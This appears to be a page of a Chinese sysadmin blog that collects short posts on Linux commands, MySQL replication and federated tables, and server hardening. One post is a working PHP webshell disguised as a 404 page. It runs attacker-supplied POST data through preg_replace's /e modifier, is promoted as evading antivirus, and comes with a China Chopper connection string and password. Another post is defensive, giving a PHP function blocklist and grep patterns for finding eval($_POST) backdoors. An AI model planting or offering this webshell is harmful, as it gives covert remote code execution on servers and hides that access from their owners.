1. 创建目录
     mkdir

     NO1. 在当前路径创建一级目录

          [root@rehat root]# mkdir test

     NO2. 在当前路径创建多级目录

          [root@rehat root]# mkdir -p mytest/test1/test1_1

     NO3. 在创建目录的同时给新建的目录赋权限

          [root@rehat root]# mkdir -m 777 testmod

          这样任何人对此目录都有任何权限
主从配置,跟之前的差不多一样。

http://www.dzhope.com/post/909/

特地备注一下从服务器只同步部分表的配置。


server-id = 3
#log-bin=/user/local/mysql/binlog/binlog
log-bin=mysql-bin
#expire_logs_days=5
#binlog-do-db = foodnewbbs
replicate-rewrite-db            = 主服务器库名A->从服务器库名B
replicate_do_table              = B.table1
replicate_do_table              = B.table2
#replicate-wild-do-table = foodnewbbs.pre_common_tagitem
binlog-ignore-db=mysql
binlog-ignore-db=foodbbs
binlog-ignore-db=foodqq
binlog-ignore-db=fooduchome
binlog-ignore-db=information_schema
binlog-ignore-db=performance_schema
binlog-ignore-db=test
binlog-ignore-db=ucenter3
binlog-ignore-db=ucenter2
binlog-ignore-db=wish
测试机器的硬件信息:

查看CPU信息(型号)
# cat /proc/cpuinfo | grep name | cut -f2 -d: | uniq -c
      8  Intel(R) Xeon(R) CPU            E5410   @ 2.33GHz
(看到有8个逻辑CPU, 也知道了CPU型号)

# cat /proc/cpuinfo | grep physical | uniq -c
      4 physical id      : 0
      4 physical id      : 1
(说明实际上是两颗4核的CPU)

# getconf LONG_BIT
   32
(说明当前CPU运行在32bit模式下, 但不代表CPU不支持64bit)

# cat /proc/cpuinfo | grep flags | grep ' lm ' | wc -l
   8
(结果大于0, 说明支持64bit计算. lm指long mode, 支持lm则是64bit)


再完整看cpu详细信息, 不过大部分我们都不关心而已.
# dmidecode | grep 'Processor Information'

查看内 存信息
# cat /proc/meminfo

# uname -a
Linux euis1 2.6.9-55.ELsmp #1 SMP Fri Apr 20 17:03:35 EDT 2007 i686 i686 i386 GNU/Linux
(查看当前操作系统内核信息)

# cat /etc/issue | grep Linux
Red Hat Enterprise Linux AS release 4 (Nahant Update 5)
(查看当前操作系统发行版信息)

查看机器型号
# dmidecode | grep "Product Name"  

查看网卡信息
# dmesg | grep -i eth
Tags: ,

PHP 404页面的一句话 [转] 不指定

jed , 2012-11-19 08:25 , 服务器技术 , 评论(0) , 阅读(5872) , Via 本站原创
把一句话搞隐蔽点,搞个404页面。 然后采用核心代码
@preg_replace(“/[checksql]/e”,$_POST['date'],”saft”);
这样可以有效的防止暴力破解还达到免杀的效果。

404一句话代码:


<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /error.php was not found on this server.</p>   </body></html>
<?php
   @preg_replace("/[checksql]/e",$_POST['date'],"saft");   header('HTTP/1.1 404 Not Found');
?>




//菜刀连接方法,在菜刀里面配置栏加上

<O>date=@eval($_POST[paxmac]);</O>



密码为paxmac
Web Server(Nginx为例)
1、为防止跨站感染,要做虚拟主机目录隔离(我是直接利用fpm建立多个程序池达到隔离效果)
2、上传目录、include类的库文件目录要禁止代码执行(Nginx正则过滤)
3、path_info漏洞修正:

if ($request_filename ~* (.*)\.php) {
set $php_url $1;
}
if (!-e $php_url.php) {
return 404;
}

4、重新编译Web Server,隐藏Server信息。
5、打开相关级别的日志,追踪可疑请求,请求者IP等相关信息。

改变目录和文件属性,禁止写入

find -type f -name \*.php -exec chmod 444 {} \;
find -type d -exec chmod 555 {} \;

注:当然要排除上传目录、缓存目录等;
同时最好禁止chmod函数,攻击者可通过chmod来修改文件只读属性再修改文件!

PHP配置
禁用危险函数:

dl,eval,exec,passthru,system,popen,shell_exec,proc_open,proc_terminate,curl_exec,curl_multi_exec,show_source,touch,escapeshellcmd,escapeshellarg

MySQL账号安全:
禁止mysql用户外部链接,程序不要使用root账号,最好单独建立一个有限权限的账号专门用于Web程序。

查杀木马、后门
常见的一句话后门:

grep -r –include=*.php  ‘[^a-z]eval($_POST’ . > grep.txt
grep -r –include=*.php  ‘file_put_contents(.*$_POST\[.*\]);’ . > grep.txt

把搜索结果写入文件,下载下来慢慢分析,其他特征木马、后门类似。有必要的话可对全站所有文件来一次特征查找,上传图片肯定有也捆绑的,来次大清洗。

查找近2天被修改过的文件:

find -mtime -2 -type f -name \*.php

注意:攻击者可能会通过touch函数来修改文件时间属性来避过这种查找,所以touch必须禁止

最后要及时补上Web程序漏洞

总结
木马、后门查杀是个漫长的过程,网站一旦被入侵任何旮旯拐角都可能留下后门。中途可能和攻击者进行神交,摸清攻击者的性格、习性等,这些都有利于查杀。要现需谨慎地和攻击者交流,期间就有几个攻击者加我QQ和我交流。
也是个很有意思的过程

这些都是非常基本的命令,希望这篇小短文对Linux新手有帮助:

查看某目录占用空间命令:

# du -sh DirPath

比如: du -sh /home/snail

查看某目录下有多少个文件命令:

# find DirPath -type f | wc -l

比如: find /home/snail -type f | wc -l

如果想查看 src 目录下有多少 C 文件,如下:

# find ./src -type f -name "*.c" | wc -l

find 命令的 -type 后的参数有以下选择,每种都代表不一样的“类型(type)”
-type 文件类型
        b      块文件(比如内存)
        c      字符文件(比如串口)
        d      目录文件(目录也是一种文件)
        p      有名管道(FIFO)
        f      普通文件
        l      符号链接(如果使用 -L 或 -follow 选项则不起作用,除非链接损坏)
        s      socket文件(比如 /tmp/mysql.sock)
        D      door (Solaris)

------------------------------------------------------------------------------------------
终端登录系统后检查日志发现 ip_conntrack: table full, dropping packet. 错误:

# vi /var/log/messages
...
Nov  8 08:54:58 server kernel: ip_conntrack: table full, dropping packet.
Nov  8 08:55:03 server kernel: printk: 49 messages suppressed.
Nov  8 08:55:03 server kernel: ip_conntrack: table full, dropping packet.
Nov  8 08:55:08 server kernel: printk: 49 messages suppressed.
...

-bash: crontab: command not found 不指定

jed , 2012-8-6 08:49 , 服务器技术 , 评论(0) , 阅读(5486) , Via 本站原创
在给VPS上的CentOS系统添加自动备份的作业时,执行:crontab -e,然后出现错误:“-bash: crontab: command not found”。

解决该错误,需要安装一个东西:vixie-cron。

执行:



yum install vixie-cron -y



就可以了
Tags: ,
    大家都知道mysql目前(5.1.x是现行用的最多的版本,至于最新版5.5.x有什么新的强大功能,就不得而知了)还是不支持sql语句直接跨服务器查询数据和操作数据的。但是我们要的数据在两个不同的服务器上数据库上,该怎么办?其实办法还是有的,谁叫网络上的牛人多啊。我这里就讲一下通过mysql federated 引擎 变相实现跨服务器的效果。废话少说,直接上操作步骤!

           1.root登录mysql,输入show engines 结果如下(如果不尽相同纯属版本问题):

+------------+----------+----------------------------------------------------------------+
| Engine     | Support  | Comment                                                        |
+------------+----------+----------------------------------------------------------------+
| MyISAM       | DEFAULT  | Default engine as of MySQL 3.23 with great performance         |
| MEMORY      | YES      | Hash based, stored in memory, useful for temporary tables      |
| InnoDB        | YES      | Supports transactions, row-level locking, and foreign keys     |
| BerkeleyDB  | NO       | Supports transactions and page-level locking                   |
| BLACKHOLE | YES      | /dev/null storage engine (anything you write to it disappears) |
| EXAMPLE     | YES      | Example storage engine                                         |
| ARCHIVE      | YES      | Archive storage engine                                         |
| CSV             | YES      | CSV storage engine                                             |
| ndbcluster   | DISABLED | Clustered, fault-tolerant, memory-based tables                 |
| FEDERATED  | YES      | Federated MySQL storage engine                                 |
| MRG_MYISAM | YES      | Collection of identical MyISAM tables                          |
| ISAM       | NO       | Obsolete storage engine                                        |
+------------+----------+----------------------------------------------------------------+


             如果 federated 显示不为 yes,也不用紧张,速度找到my.cnf文件,改配置文件一般在/etc/my.cnf  这里指linux服务器上的路径。打开编辑,找到[mysqld] 并在下面添加一行 federated 然后保存退出,重启服务,再进mysql,输入show engines 看看是不是 federated 为yes了。 如果一开始就没有federated这个项,就麻烦了。这里不多说了。

          2.假设我有两个服务器A(192.168.0.10:3306) 和 B(192.168.0.11:3306)  

          在A上建数据库DB_A,DB_A上建表TB_A,TB_A上建字段id,name,sex....随意,然后添加一些测试数据。

          在B上建数据库DB_B,DB_B上建表TB_A(不过这里的表不要工具建,直接上代码、、)

          CREATE TABLE `TB_B` (
          `id` int(11) NOT NULL AUTO_INCREMENT,
          `name` varchar(20) DEFAULT NULL,
          `sex` varchar(4) DEFAULT NULL,
          PRIMARY KEY (`id`)
          ) ENGINE=federated connection ='mysql://root:123456@192.168.0.10:3306/DB_A/TB_A'
          DEFAULT CHARSET=utf8;

          注意:新建表的结构要和A服DB_A库TB_A表上的一致哦。。。

          3.一切搞定后,在B服DB_B库上输入 select * from DB_B.TB_B  看看什么结果。是不是A服DB_A库TB_A表上的数据都可以在B服务器上显示了!其实原理和同步差不多,然而如果TB_A表上数据有变动的话,TB_B表也会时时跟进的,达到让数据保持一致的效果。既然数据都在一个服务器能显示了。接下来改怎么做,就不用多说了吧。
Tags: ,
网上有诸多介绍源码安装Mysql时开启Federated引擎的方法,诸如:

./confiure --with-plugin-federated
./confiure --with-federated-storage-engine

但本人试验统统报unrecognized options错误,google了半天,居然是Mysql的bug ,至今未修复。

经测试(version:5.1.52)只有--with-plugins=federated能用:

./confiure --with-plugins=federated


安装完成后show engines查看:

+------------+--------+
| Engine | Support |
+------------+--------+
...
| FEDERATED | NO |
...
+------------+--------+

Federated引擎安装成功。

接着将其开启,修改my.cnf,在 [mysqld] 下添加一行:

federated

重启Mysql,完成。
Tags: ,
分页: 9/33 第一页 上页 4 5 6 7 8 9 10 11 12 13 下页 最后页 [ 显示模式: 摘要 | 列表 ]